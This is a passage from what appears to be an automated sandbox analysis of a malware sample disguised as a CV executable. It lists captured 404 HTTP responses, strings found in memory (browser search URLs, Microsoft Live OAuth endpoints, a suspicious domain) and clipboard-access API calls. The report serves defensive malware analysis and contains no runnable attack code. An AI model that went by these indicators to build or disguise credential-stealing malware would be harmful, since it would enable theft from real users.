                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:26:32 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:26:38 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a7b148-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:26:40 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a7b148-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:26:43 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a7b148-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:26:46 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a7b148-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 09:26:52 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 09:26:54 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 09:26:57 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 09:26:59 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:27:07 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:27:10 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:27:12 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:27:15 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:27:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closex-ray: wn32694:0.000/wa32694:D=1771Data Raw: 33 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 54 49 54 4c 45 3e 53 69 74 65 20 62 65 74 6d 61 74 63 68 78 2e 6f 6e 6c 69 6e 65 20 6e 6f 74 20 63 6f 6e 66 69 67 75 72 65 64 3c 2f 54 49 54 4c 45 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 3a 20 31 32 70 78 20 54 61 68 6f 6d 61 3b 7d 0a 09 09 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 63 6f 6c 6f 72 3a 23 31 46 38 34 46 46 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 3b 7d 0a 09 09 61 20 7b 63 6f 6c 6f 72 3a 23 31 38 37 33 62 34 3b 7d 0a 09 09 64 69 76 20 7b 77 69 64 74 68 3a 20 37 30 30 70 78 3b 6d 61 72 67 69 6e 3a 20 31 30 30 70 78 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 35 30 70 78 3b 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 35 30 25 3b 7d 0a 09 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 0a 09 3c 68 31 3e 53 69 74 65 20 62 65 74 6d 61 74 63 68 78 2e 6f 6e 6c 69 6e 65 20 6e 6f 74 20 63 6f 6e 66 69 67 75 72 65 64 3c 2f 68 31 3e 0a 09 0a 09 54 6f 20 67 65 74 20 79 6f 75 72 20 73 69 74 65 20 68 65 72 65 2c 20 79 6f 75 20 6e 65 65 64 20 74 6f 20 61 64 64 20 69 74 20 74 6f 20 3c 61 20 72 65 6c 3d 27 6e 6f 66 6f 6c 6c 6f 77 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 61 64 6d 2e 74 6f 6f 6c 73 2f 3f 70 61 67 65 3d 35 27 3e 63 6f 6e 74 72 6f 6c 20 70 61 6e 65 6c 3c 2f 61 3e 0a 09 69 6e 20 74 68 65 20 26 6c 61 71 75 6f 3b 4d 79 20 53 69 74 65 73 26 72 61 71 75 6f 3b 20 73 65 63 74 69 6f 6e 2e 3c 62 72 3e 3c 62 72 3e 0a 09 49 66 20 79 6f 75 20 68 61 76 65 20 72 65 63 65 6e 74 6c 79 20 61 64 64 65 64 20 61 20 73 69 74 65 20 74 6f 20 79 6f 75 72 20 63 6f 6e 74 72 6f 6c 20 70 61 6e 65 6c 20 2d 20 77 61 69 74 20 31 35 20 6d 69 6e 75 74 65 73 20 61 6e 64 20 79 6f 75 72 20 73 69 74 65 20 77 69 6c 6c 20 73 74 61 72 74 20 77 6f 72 6b 69 6e 67 2e 0a 0a 09 3c 62 72 3e 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 364<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "xhtml11.dtd"><html><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html;
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 09:28:08 GMTTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f3OPIaw0r6OQPc5ff%2BH1HfMGwiklniyvXCkhUedEKRo0UNyLy3VLIY%2BXOCba0pFMVlxaQJbrjDxEGCpxnDoxOJwWWb7BvU3xp%2Fe0bIw%2Bo8ow6x2rQmzky5xGz6mjXO0A%2Bq0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e576874d9119e02-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1779&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1741&delivery_rate=0&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
                Source: BzEfnSVbdFtPTT.exe, 00000006.00000002.3231857201.00000000055F3000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.remedies.pro
                Source: BzEfnSVbdFtPTT.exe, 00000006.00000002.3231857201.00000000055F3000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.remedies.pro/hrap/
                Source: wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: wlanext.exe, 00000005.00000002.3231205204.0000000004D60000.00000004.10000000.00040000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000006.00000002.3229848098.0000000003EC0000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://adm.tools/?page=5
                Source: wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: wlanext.exe, 00000005.00000002.3228625011.000000000356F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: wlanext.exe, 00000005.00000002.3228625011.000000000356F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: wlanext.exe, 00000005.00000003.1937842312.00000000083E2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
                Source: wlanext.exe, 00000005.00000002.3228625011.000000000356F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: wlanext.exe, 00000005.00000002.3228625011.000000000356F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
                Source: wlanext.exe, 00000005.00000002.3228625011.000000000356F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: wlanext.exe, 00000005.00000002.3228625011.000000000356F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: wlanext.exe, 00000005.00000002.3231205204.0000000004EF2000.00000004.10000000.00040000.00000000.sdmp, wlanext.exe, 00000005.00000002.3232895934.0000000006990000.00000004.00000800.00020000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000006.00000002.3229848098.0000000004052000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                Source: wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B76B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00B76B0C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B76D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00B76D07
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B76B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00B76B0C
